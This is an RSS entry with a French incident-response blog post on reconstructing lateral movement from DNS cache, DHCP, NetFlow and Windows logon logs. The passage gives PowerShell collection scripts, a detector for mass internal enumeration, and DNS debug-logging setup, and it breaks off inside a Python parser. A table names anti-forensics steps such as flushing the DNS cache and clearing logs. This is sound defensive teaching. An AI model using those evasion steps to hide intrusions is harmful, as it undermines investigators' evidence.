<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Inference Defense Blog</title>
        <link>https://inferencedefense.com/fr/blog/</link>
        <description>Inference Defense Blog</description>
        <lastBuildDate>Sun, 19 Apr 2026 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <copyright>Copyright © 2026 Inference Defense</copyright>
        <item>
            <title><![CDATA[Forensique Réseau Sans Capture de Paquets : Reconstruire le Mouvement Latéral à partir du Cache DNS, NetFlow et des Journaux d'Authentification]]></title>
            <link>https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth</link>
            <guid>https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth</guid>
            <pubDate>Sun, 19 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Comment reconstruire un mouvement latéral avec le cache DNS, les journaux DHCP, NetFlow et les logs Windows quand on n'a pas de capture de paquets.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p><em>L'attaquant est dans votre réseau depuis six jours. Vous n'avez pas de capture de paquets. Vous n'avez pas de sonde IDS sur le trafic est-ouest. Votre licence NDR ne couvre que le périmètre. L'EDR sur l'hôte compromis a été désactivé au deuxième jour. Ce que vous avez : les journaux de requêtes du serveur DNS, les enregistrements de baux DHCP, le NetFlow de vos commutateurs cœur de réseau, et les journaux de sécurité Windows de vos contrôleurs de domaine. C'est suffisant  si vous savez exactement quoi chercher, dans quel ordre, et comment corréler des sources qui n'ont jamais été conçues pour communiquer entre elles.</em></p>
</blockquote>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-réalité-forensique-à-laquelle-font-face-la-plupart-des-équipes-ir">La Réalité Forensique à Laquelle Font Face la Plupart des Équipes IR<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#la-r%C3%A9alit%C3%A9-forensique-%C3%A0-laquelle-font-face-la-plupart-des-%C3%A9quipes-ir" class="hash-link" aria-label="Direct link to La Réalité Forensique à Laquelle Font Face la Plupart des Équipes IR" title="Direct link to La Réalité Forensique à Laquelle Font Face la Plupart des Équipes IR" translate="no">​</a></h2>
<p>La capture complète de paquets du trafic est-ouest interne est la référence en matière de forensique réseau. Elle est aussi rarement présente. L'économie ne fonctionne pas pour la plupart des organisations : capturer tout le trafic interne à 10 Gbps génère environ 75 To par jour, et les coûts de stockage, de licences et d'exploitation sont prohibitifs en dehors des plus grandes entreprises.</p>
<p>Ce que presque toutes les organisations possèdent  souvent sans réaliser sa valeur forensique  est un ensemble d'artefacts réseau indirects qui, correctement corrélés, peuvent reconstruire le mouvement latéral avec une fidélité surprenante. Ces artefacts ne sont pas conçus pour la sécurité. Ils existent pour des raisons opérationnelles : le DHCP attribue des IP, le DNS résout des noms, le NetFlow mesure la bande passante et les journaux d'authentification suivent le contrôle d'accès. Mais ensemble, ils forment un enregistrement d'activité réseau qui raconte l'histoire de quelle machine a communiqué avec quelle autre machine, quand, avec quelle identité, et avec quel volume de données.</p>
<p>Ce billet couvre :</p>
<ol>
<li class=""><strong>La forensique du cache DNS</strong>  ce qui survit sur les endpoints actifs, ce que les serveurs DNS journalisent, et comment en extraire des indicateurs de mouvement latéral</li>
<li class=""><strong>La corrélation des journaux DHCP</strong>  le mappage IP-vers-nom-d'hôte-vers-MAC qui constitue la colonne vertébrale d'identité réseau</li>
<li class=""><strong>L'analyse NetFlow</strong>  lecture des enregistrements de flux pour détecter le scanning interne, le mouvement latéral et l'exfiltration préparée</li>
<li class=""><strong>La corrélation des journaux d'authentification Windows</strong>  mappage des événements de connexion aux événements réseau pour construire une chronologie de déplacement</li>
<li class=""><strong>La corrélation multi-sources</strong>  les opérations JOIN qui transforment quatre images incomplètes en une chronologie d'attaque complète</li>
</ol>
<p>Chaque technique inclut des commandes exactes, des scripts et des requêtes exécutables pendant une investigation active.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-1--comprendre-les-preuves-préservées-par-chaque-source">Partie 1  Comprendre les Preuves Préservées par Chaque Source<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#partie-1--comprendre-les-preuves-pr%C3%A9serv%C3%A9es-par-chaque-source" class="hash-link" aria-label="Direct link to Partie 1  Comprendre les Preuves Préservées par Chaque Source" title="Direct link to Partie 1  Comprendre les Preuves Préservées par Chaque Source" translate="no">​</a></h2>
<p>Avant de plonger dans les techniques, comprenez ce que chaque source capture, combien de temps elle survit, et ce que les attaquants font pour la détruire. Cela détermine votre priorité de collecte d'éléments de preuve lors de la première heure d'IR.</p>
<!-- -->
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="matrice-de-volatilité-des-preuves">Matrice de Volatilité des Preuves<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#matrice-de-volatilit%C3%A9-des-preuves" class="hash-link" aria-label="Direct link to Matrice de Volatilité des Preuves" title="Direct link to Matrice de Volatilité des Preuves" translate="no">​</a></h3>
<table><thead><tr><th>Source</th><th>Où Stockée</th><th>Rétention par Défaut</th><th>Volatile ?</th><th>L'Attaquant Peut Détruire ?</th></tr></thead><tbody><tr><td>Cache DNS client</td><td>Mémoire (service DNS Client Windows)</td><td>Jusqu'au redémarrage ou expiration TTL</td><td>Oui  la plus haute</td><td><code>ipconfig /flushdns</code></td></tr><tr><td>Journaux de requêtes serveur DNS</td><td>EVTX / fichier plat sur serveur DNS</td><td>Désactivé par défaut</td><td>Moyen</td><td>Effacer le log, désactiver la journalisation</td></tr><tr><td>Journaux serveur DHCP</td><td><code>C:\Windows\System32\dhcp\</code></td><td>7 fichiers journaux quotidiens</td><td>Moyen</td><td>Supprimer les fichiers journaux</td></tr><tr><td>Base de données de baux DHCP</td><td><code>C:\Windows\System32\dhcp\dhcp.mdb</code></td><td>Baux actifs uniquement</td><td>Faible</td><td>Nécessite l'accès au serveur DHCP</td></tr><tr><td>Enregistrements NetFlow</td><td>Appliance collecteur / SIEM</td><td>Semaines à mois</td><td>Faible</td><td>Nécessite l'accès au collecteur</td></tr><tr><td>Journaux auth Windows (4624)</td><td>Security.evtx / SIEM</td><td>Selon taille log / SIEM</td><td>Moyen</td><td>Effacement du journal d'événements (1102)</td></tr><tr><td>Table ARP (routeur)</td><td>Mémoire du routeur</td><td>Minutes à heures</td><td>La plus haute</td><td>Volatile par conception</td></tr><tr><td>Enregistrements DNS passifs (SIEM)</td><td>SIEM si collecté</td><td>Selon rétention SIEM</td><td>Faible</td><td>Nécessite l'accès au SIEM</td></tr></tbody></table>
<p><strong>Priorité de collecte :</strong> Cache DNS → BD DHCP → Journaux auth → NetFlow. Les deux premiers expirent ou sont détruits le plus rapidement. NetFlow est généralement l'artefact le plus durable.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-2--forensique-du-cache-dns">Partie 2  Forensique du Cache DNS<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#partie-2--forensique-du-cache-dns" class="hash-link" aria-label="Direct link to Partie 2  Forensique du Cache DNS" title="Direct link to Partie 2  Forensique du Cache DNS" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="21-le-cache-dns-client--une-carte-de-lactivité-récente">2.1 Le Cache DNS Client : Une Carte de l'Activité Récente<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#21-le-cache-dns-client--une-carte-de-lactivit%C3%A9-r%C3%A9cente" class="hash-link" aria-label="Direct link to 2.1 Le Cache DNS Client : Une Carte de l'Activité Récente" title="Direct link to 2.1 Le Cache DNS Client : Une Carte de l'Activité Récente" translate="no">​</a></h3>
<p>Chaque hôte Windows maintient un cache de résolution DNS local  une table en mémoire des noms d'hôtes récemment résolus et de leurs adresses IP. Ce cache est alimenté chaque fois que l'hôte communique avec un autre hôte par nom. Pour la forensique de mouvement latéral, c'est inestimable : <strong>il enregistre les noms d'hôtes internes que la machine compromise a tenté d'atteindre</strong>, même si ces connexions ont eu lieu il y a des jours et n'ont laissé aucune autre trace.</p>
<p>Le cache est géré par le service DNS Client (svchost.exe hébergeant <code>Dnscache</code>). Il ne survit que partiellement aux redémarrages  certaines entrées sont persistées dans le registre pour la pré-population au prochain démarrage.</p>
<p><strong>Extraction en direct depuis un hôte actif :</strong></p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Extraction de base  toutes les entrées en cache</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">ipconfig /displaydns</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Format de sortie pour une seule entrée :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::     Record Name . . . . . : DC02.corp.local</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::     Record Type . . . . . : 1          &lt;- Enregistrement A (IPv4)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::     Time To Live  . . . . : 1847       &lt;- secondes restantes avant expiration</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::     Data Length . . . . . : 4</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::     Section . . . . . . . : Answer</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::     A (Host) Record . . . : 10.10.1.15</span><br></span></code></pre></div></div>
<p><strong>Extraction structurée pour analyse :</strong></p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Extraire le cache DNS en objets structurés  bien plus utile que la sortie brute ipconfig</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Exécuter sur l'hôte suspect ou via Invoke-Command pour la collecte distante</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$dnsCache = Get-DnsClientCache | Select-Object `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Entry,          # Le nom d'hôte interrogé</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    RecordName,     # Nom d'enregistrement DNS réel (peut différer  cibles CNAME)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    RecordType,     # 1=A, 28=AAAA, 5=CNAME, 12=PTR, 15=MX</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Status,         # Success, NotExist, etc.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Section,        # Answer, Authority, Additional</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    TimeToLive,     # TTL restant en secondes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    DataLength,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Data            # L'adresse IP résolue</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Filtrer les plages IP internes  candidats au mouvement latéral</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$internalRanges = @('10\.', '172\.(1[6-9]|2\d|3[01])\.', '192\.168\.')</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$lateralCandidates = $dnsCache | Where-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $ip = $_.Data</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $isInternal = $internalRanges | Where-Object { $ip -match $_ }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $isInternal -and $_.RecordType -eq 1  # Enregistrements A uniquement</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$lateralCandidates | Sort-Object Entry | Format-Table -AutoSize</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Exporter pour comparaison entre plusieurs hôtes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$lateralCandidates | Export-Csv "dns_cache_$(hostname)_$(Get-Date -Format 'yyyyMMddHHmm').csv" -NoTypeInformation</span><br></span></code></pre></div></div>
<p><strong>Collecte distante sur tous les hôtes suspects :</strong></p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Collecte en masse du cache DNS  exécuter depuis le poste IR avec droits admin</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$suspectHosts = @("WORKSTATION01", "WORKSTATION02", "SERVER01")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$allCacheEntries = @()</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">foreach ($computer in $suspectHosts) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    try {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $entries = Invoke-Command -ComputerName $computer -ScriptBlock {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            Get-DnsClientCache | Select-Object Entry, RecordType, TimeToLive, Data,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                @{N='SourceHost'; E={$env:COMPUTERNAME}}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        } -ErrorAction Stop</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $allCacheEntries += $entries</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Write-Host "[+] Collecté depuis $computer : $($entries.Count) entrées"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    } catch {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Write-Warning "[-] Échec sur $computer : $_"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Trouver les hôtes ayant interrogé la même cible interne  trace de mouvement latéral</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$allCacheEntries |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Where-Object { $_.Data -match '^10\.' -or $_.Data -match '^172\.' } |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Group-Object Data |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Where-Object Count -gt 1 |  # IP vue dans le cache de plusieurs hôtes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ForEach-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Write-Host "Cible partagée : $($_.Name)" -ForegroundColor Yellow</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $_.Group | Select-Object SourceHost, Entry, TimeToLive | Format-Table</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="22-ce-que-le-cache-dns-révèle-sur-les-techniques-dattaque">2.2 Ce que le Cache DNS Révèle sur les Techniques d'Attaque<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#22-ce-que-le-cache-dns-r%C3%A9v%C3%A8le-sur-les-techniques-dattaque" class="hash-link" aria-label="Direct link to 2.2 Ce que le Cache DNS Révèle sur les Techniques d'Attaque" title="Direct link to 2.2 Ce que le Cache DNS Révèle sur les Techniques d'Attaque" translate="no">​</a></h3>
<p>Différentes techniques de mouvement latéral laissent des signatures distinctes dans le cache DNS :</p>
<!-- -->
<p><strong>La collecte BloodHound est particulièrement distinctive dans le cache DNS :</strong></p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Détecter une rafale de résolution interne massive de type BloodHound dans le cache DNS</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Indicateur clé : &gt;50 noms d'hôtes internes uniques résolus dans un seul instantané du cache</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$internalEntries = Get-DnsClientCache |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Where-Object { $_.Data -match '^10\.' -and $_.RecordType -eq 1 }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Regrouper par sous-réseau pour voir le motif de dispersion</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$subnetSpread = $internalEntries | ForEach-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $ip = $_.Data</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $octets = $ip.Split('.')</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "$($octets[0]).$($octets[1]).$($octets[2]).0/24"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">} | Group-Object | Sort-Object Count -Descending</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Write-Host "Sous-réseaux uniques contactés : $($subnetSpread.Count)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Write-Host "Hôtes internes uniques résolus : $($internalEntries.Count)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">if ($internalEntries.Count -gt 50) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Warning "INDICATEUR : Nombre élevé de résolutions de noms d'hôtes internes  possible énumération AD"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">if ($subnetSpread.Count -gt 5) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Warning "INDICATEUR : Résolutions couvrant &gt;5 sous-réseaux  possible découverte réseau"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="23-journaux-de-requêtes-du-serveur-dns--lenregistrement-persistant">2.3 Journaux de Requêtes du Serveur DNS : L'Enregistrement Persistant<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#23-journaux-de-requ%C3%AAtes-du-serveur-dns--lenregistrement-persistant" class="hash-link" aria-label="Direct link to 2.3 Journaux de Requêtes du Serveur DNS : L'Enregistrement Persistant" title="Direct link to 2.3 Journaux de Requêtes du Serveur DNS : L'Enregistrement Persistant" translate="no">​</a></h3>
<p>Le cache client est volatile. Le journal de requêtes du serveur DNS est persistant  s'il est activé. Microsoft DNS Server sur Windows Server peut journaliser toutes les requêtes DNS reçues, mais cela est <strong>désactivé par défaut</strong> et doit être activé explicitement.</p>
<p><strong>Activer la journalisation de débogage DNS (Windows DNS Server) :</strong></p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Activer la journalisation analytique DNS  capture toutes les requêtes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Exécuter sur le serveur DNS (généralement un DC)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Méthode 1 : Via le module PowerShell de gestion DNS</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Set-DnsServerDiagnostics -All $true -ComputerName "DNS01.corp.local"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Méthode 2 : Paramètres spécifiques  équilibre entre détail et volume</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Set-DnsServerDiagnostics `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -Queries $true `           # Journaliser toutes les requêtes entrantes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -Answers $true `           # Journaliser les réponses</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -SendPackets $true `       # Journaliser les paquets envoyés</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -ReceivePackets $true `    # Journaliser les paquets reçus</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -LogFilePath "C:\DNSDebugLog\dns.log" `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -MaxMBFileSize 500 `       # 500 Mo avant rotation</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -ComputerName "DNS01.corp.local"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Vérifier que la journalisation est active :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-DnsServerDiagnostics -ComputerName "DNS01.corp.local" |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-Object Queries, Answers, LogFilePath, MaxMBFileSize</span><br></span></code></pre></div></div>
<p><strong>Format du journal de débogage DNS et analyse :</strong></p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Format brut d'une entrée du journal de débogage DNS :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Date Heure Thread Contexte Interne(I)/Externe(E) Réponse/Envoi/Réception TypeRequête TypeEnregistrement Données</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">#</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Exemples d'entrées dans un scénario de mouvement latéral :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">2025-11-15 02:47:33 0D4 PACKET  000000AA3F012345 UDP Rcv 10.10.5.42 6D43 R Q [8081 DR  NOERROR] A (6)TARGET(4)corp(5)local(0)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">2025-11-15 02:47:33 0D4 PACKET  000000AA3F012346 UDP Snd 10.10.5.42 6D43 R Q [8081 DR  NOERROR] A 10.10.1.55</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Cela montre : l'hôte 10.10.5.42 a interrogé TARGET.corp.local à 02:47:33</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Le serveur DNS a répondu avec 10.10.1.55</span><br></span></code></pre></div></div>
<p><strong>Analyser le journal de débogage DNS pour les indicateurs de mouvement latéral :</strong></p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">#!/usr/bin/env python3</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">Analyser le journal de débogage DNS Windows Server pour les indicateurs de mouvement latéral.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">Recherche : clients IP internes résolvant de nombreux noms d'hôtes internes (motif de découverte),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">clients résolvant des noms jamais interrogés auparavant, motifs de requêtes en rafale.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> re</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> sys</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">from</span><span class="token plain"> collections </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> defaultdict</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">from</span><span class="token plain"> datetime </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">import</span><span class="token plain"> datetime</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token 